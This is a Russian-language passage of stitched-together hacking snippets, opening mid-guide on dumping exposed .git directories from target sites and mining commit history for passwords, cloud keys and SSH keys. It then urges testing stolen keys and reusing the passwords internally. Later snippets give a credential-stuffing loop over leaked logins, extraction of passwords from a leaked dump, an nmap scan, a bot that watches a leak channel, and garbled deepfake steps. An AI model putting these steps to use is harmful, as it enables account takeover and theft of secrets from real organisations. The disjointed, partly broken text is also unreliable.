Используем простой поиск в Google или нетривиальный waybackurls + gau:
waybackurls target.com | grep -E "\.git/" | uniq
Цель — найти https://target.com/.git/.

Шаг 2: Забор
Если доступ есть, качаем всё. Берем git-dumper:
python3 git_dumper.py https://target.com/.git/ ./output-dir
Инструмент вытянет всю историю, даже если доступ частичный.

Шаг 3: Анализ и извлечение
Переходим в папку и смотрим логи:
git log --oneline
Ищем коммиты с говорящими названиями вроде "hotfix pass", "remove credentials", "add config".
Затем просматриваем изменения в конкретном коммите:
git show <commit-hash>
Часто в старых коммитах лежат пароли от БД, API-ключи cloud-сервисов или даже приватные SSH-ключи, которые "удалили", но они навсегда в истории.

Шаг 4: Что делать с этим?

· Ключи от облака (AWS, DigitalOcean): Проверяем на доступность. Часто ключи живут долго.
· Пароли БД: Пробуем подключиться не только к основной БД проекта, но и к внутренним сервисам компании.
· Исходники: Ищем уязвимости в самом коде, которые не попали в продакшен. Логики бэкдоров, скрытые эндпоинты.
Реальный кейс:
Однажды в истории нашли старый файл конфига с паролем от внутренней VPN. Этот пароль оказался тем же, что и для корпоративной почты админа. Дальше — дело техники.


Инструменты:

· git-dumper
· truffleHog (для автоматического поиска секретов в гите)
· Gitleaks 

   # Пример: парсим заголовки с сайта
   import requests
   from bs4 import BeautifulSoup
   
   response = requests.get('https://example.com')
   soup = BeautifulSoup(response.text, 'html.parser')
   titles = soup.find_all('h2')  # Ищем все заголовки
   for title in titles:
       print(title.text)

import requests
import time
import hashlib

last_content_hash = None  # Хеш предыдущего содержимого

while True:
    response = requests.get('https://target-site.com/stock')
    current_hash = hashlib.md5(response.content).hexdigest()  # Считаем хеш страницы
    
    if last_content_hash and current_hash != last_content_hash:
        print("[!] Страница изменилась! Отправляем сигнал.")
        # Тут можно отправить сообщение в Telegram или email
        # Например, через telebot или smtplib
    
    last_content_hash = current_hash
    time.sleep(60)  # Проверяем каждую минуту

import requests
# Допустим, у нас есть список login:password из утечки
for creds in stolen_credentials_list:
    login, password = creds.split(':')
    # Пытаемся автоматически авторизоваться на целевом сайте
    session = requests.Session()
    response = session.post('https://target-site.com/login', data={'login': login, 'password': password})
    if 'Добро пожаловать' in response.text:
        print(f'НАЙДЕНО! {login}:{password}')
        break

# 1. Извлечь кадры из видео цели и донора (того, чьё лицо подставляем)
python faceset extract
# 2. Обучить модель на датасете (самый долгий этап, может идти сутки)
python train — это командная строка
# 3. Наложить обученное лицо на исходное видео
python merge
# 4. Собрать финальное видео со звуком
python videoed

  nmap -sV -O -p 1-1000 target.com
  

# Поиск всех записей с доменом gmail.com
grep -i "@gmail.com" leaked_dump.txt | head -20

# Поиск конкретного логина
grep "username123" leaked_dump.txt

# Извлечение только паролей
awk -F: '{print $2}' leaked_dump.txt | sort | uniq

from telethon import TelegramClient, events

api_id = YOUR_ID
api_hash = 'YOUR_HASH'
client = TelegramClient('session', api_id, api_hash)

@client.on(events.NewMessage(chats=('leakbase')))
async def handler(event):
    if 'dump' in event.message.text.lower():
        print(f'Новая утечка: {event.message.text}')
        # Автосохранение или парсинг

client.start()
client.run_until_disconnected()